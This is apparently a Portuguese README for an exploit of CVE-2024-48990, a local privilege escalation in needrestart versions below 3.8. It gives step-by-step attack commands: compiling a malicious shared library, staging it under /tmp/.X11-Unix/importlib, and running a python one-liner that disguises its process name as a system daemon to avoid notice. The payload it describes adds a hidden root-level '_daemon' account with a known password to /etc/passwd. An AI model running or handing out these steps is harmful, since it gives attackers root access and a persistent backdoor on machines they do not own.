
Exploit para a CVE-2024-48990 (Escalação de Privilégio Local no needrestart < 3.8)
Exploit para CVE-2024-48990 (Escalação Local de Privilégios no needrestart < 3.8)
Leia https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. A Qualys faz um excelente trabalho explicando.
Resumindo;
Em sistemas com needrestart inferior a 3.8, usuários locais podem executar código arbitrário e escalar privilégios para root sem nenhuma interação do usuário.

O exploit como está escrito agora adicionará um novo usuário chamado "_daemon" ao sistema com UID/GID 0 (root) usando um comando sed para editar o arquivo /etc/passwd. A senha é a mesma que o nome de usuário. Nem sei se você pode chamar isso de exploit, já que é apenas uma biblioteca compartilhada que executa um único comando.
Para compilar o exploit você mesmo, execute o comando abaixo:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Você pode executar qualquer script python de longa duração. Mas para parecer menos suspeito na lista de processos, você pode usar este one-liner para iniciar um interpretador python que é suspenso assim que inicia (então nunca executa nada de fato).
PYTHON - O caminho para o interpretador python
ARGV - A string que aparecerá na lista de processos
PYPATH - O caminho para o diretório que você criou (não incluindo o diretório importlib)
Para o ARGV, certifique-se de que:
o caminho para o interpretador python seja o primeiro argumento no ARGV
o segundo argumento (o "script") seja um arquivo que realmente exista no sistema (o needrestart verifica isso). Não precisa ser um script python real.
o segundo argumento não seja o mesmo que um processo que já está em execução (o needrestart usará o que já foi "cacheado" visto anteriormente).
Fora isso, você pode brincar com o ARGV o quanto quiser. Talvez faça parecer um processo normal do sistema?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Ele precisa estar dentro do diretório importlib e ser nomeado "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
Na próxima vez que o needrestart rodar (ou seja, uma atualização com apt ou unattended upgrades iniciá-lo), ele executará o python com a variável PYTHONPATH do nosso processo e carregará o arquivo init.so, que executará nosso comando. Você poderá fazer login com as credenciais _daemon:_daemon.
O needrestart não é completamente burro e verifica algumas coisas ao escanear processos e antes de entrar na parte vulnerável do código